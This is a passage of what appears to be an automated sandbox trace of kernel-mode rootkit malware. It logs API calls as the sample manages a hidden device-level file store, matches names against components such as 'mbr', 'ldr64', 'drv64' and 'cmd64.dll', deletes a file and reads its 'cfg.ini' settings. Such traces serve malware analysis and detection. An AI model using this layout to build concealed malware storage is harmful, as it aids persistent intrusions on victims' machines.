(StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.192] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.192] IdePortDispatch () returned 0x103 [0124.192] KeWaitForMutexObject () returned 0x0 [0124.192] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.192] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.192] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.192] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.192] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.192] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.192] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.192] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.192] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.192] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.192] KeLeaveCriticalRegion () [0124.192] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.193] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.193] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.193] KeEnterCriticalRegion () [0124.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.193] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.193] IdePortDispatch () returned 0x103 [0124.193] KeWaitForMutexObject () returned 0x0 [0124.193] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.193] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.193] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.193] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.193] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.193] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.193] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.193] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.193] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.193] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.193] KeLeaveCriticalRegion () [0124.193] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.193] ReleaseMutex (hMutex=0x100) returned 1 [0124.193] Sleep (dwMilliseconds=0x2bf20) [0124.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d3a9b90, dwHighDateTime=0x1d24fa4)) [0124.199] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.199] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.200] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.200] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.200] KeEnterCriticalRegion () [0124.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.200] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.200] IdePortDispatch () returned 0x103 [0124.200] KeWaitForMutexObject () returned 0x0 [0124.200] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.200] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.200] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.200] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.200] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.200] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0dc0 [0124.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.200] KeLeaveCriticalRegion () [0124.200] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.200] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.200] KeEnterCriticalRegion () [0124.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.200] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.200] KeLeaveCriticalRegion () [0124.200] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.200] KeEnterCriticalRegion () [0124.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.200] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.200] IdePortDispatch () returned 0x103 [0124.200] KeWaitForMutexObject () returned 0x0 [0124.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.201] KeLeaveCriticalRegion () [0124.201] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.201] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.201] KeEnterCriticalRegion () [0124.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.201] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003511000 [0124.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.201] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.201] IdePortDispatch () returned 0x103 [0124.201] KeWaitForMutexObject () returned 0x0 [0124.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.201] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.201] IdePortDispatch () returned 0x103 [0124.201] KeWaitForMutexObject () returned 0x0 [0124.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.201] KeLeaveCriticalRegion () [0124.201] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.202] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.202] KeEnterCriticalRegion () [0124.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.202] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.202] KeLeaveCriticalRegion () [0124.202] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.202] KeEnterCriticalRegion () [0124.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.202] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.202] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0e80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.202] KeLeaveCriticalRegion () [0124.202] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.202] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.202] KeEnterCriticalRegion () [0124.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.202] ExFreePoolWithTag (P=0xfffffa8003bf0dc0, Tag=0x0) [0124.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.202] KeLeaveCriticalRegion () [0124.202] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.202] ReleaseMutex (hMutex=0xf0) returned 1 [0124.202] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.202] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.202] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.202] KeEnterCriticalRegion () [0124.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.203] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.203] IdePortDispatch () returned 0x103 [0124.203] KeWaitForMutexObject () returned 0x0 [0124.203] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.203] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.203] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.203] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.203] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.203] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0ab0 [0124.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.203] KeLeaveCriticalRegion () [0124.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.203] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.203] KeEnterCriticalRegion () [0124.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.203] KeLeaveCriticalRegion () [0124.203] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.203] KeEnterCriticalRegion () [0124.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.203] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.203] IdePortDispatch () returned 0x103 [0124.203] KeWaitForMutexObject () returned 0x0 [0124.203] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.203] KeLeaveCriticalRegion () [0124.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.204] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.204] KeEnterCriticalRegion () [0124.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.204] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003512000 [0124.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.204] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.204] IdePortDispatch () returned 0x103 [0124.204] KeWaitForMutexObject () returned 0x0 [0124.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.204] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.204] IdePortDispatch () returned 0x103 [0124.204] KeWaitForMutexObject () returned 0x0 [0124.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.204] KeLeaveCriticalRegion () [0124.204] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.205] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.205] KeEnterCriticalRegion () [0124.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.205] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.205] KeLeaveCriticalRegion () [0124.205] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.205] KeEnterCriticalRegion () [0124.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.205] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.205] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.205] KeLeaveCriticalRegion () [0124.205] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.205] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.205] KeEnterCriticalRegion () [0124.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.205] ExFreePoolWithTag (P=0xfffffa8003bf0ab0, Tag=0x0) [0124.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.205] KeLeaveCriticalRegion () [0124.205] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.205] ReleaseMutex (hMutex=0xf0) returned 1 [0124.205] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.205] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.205] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.205] KeEnterCriticalRegion () [0124.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.205] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.205] IdePortDispatch () returned 0x103 [0124.206] KeWaitForMutexObject () returned 0x0 [0124.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.206] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.206] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.206] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.206] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.206] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb440 [0124.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.206] KeLeaveCriticalRegion () [0124.206] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.206] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.206] KeEnterCriticalRegion () [0124.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.206] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.206] KeLeaveCriticalRegion () [0124.206] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.206] KeEnterCriticalRegion () [0124.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.206] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.206] IdePortDispatch () returned 0x103 [0124.206] KeWaitForMutexObject () returned 0x0 [0124.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.206] KeLeaveCriticalRegion () [0124.206] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.206] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.206] KeEnterCriticalRegion () [0124.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.207] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003513000 [0124.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.207] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.207] IdePortDispatch () returned 0x103 [0124.207] KeWaitForMutexObject () returned 0x0 [0124.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.207] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: 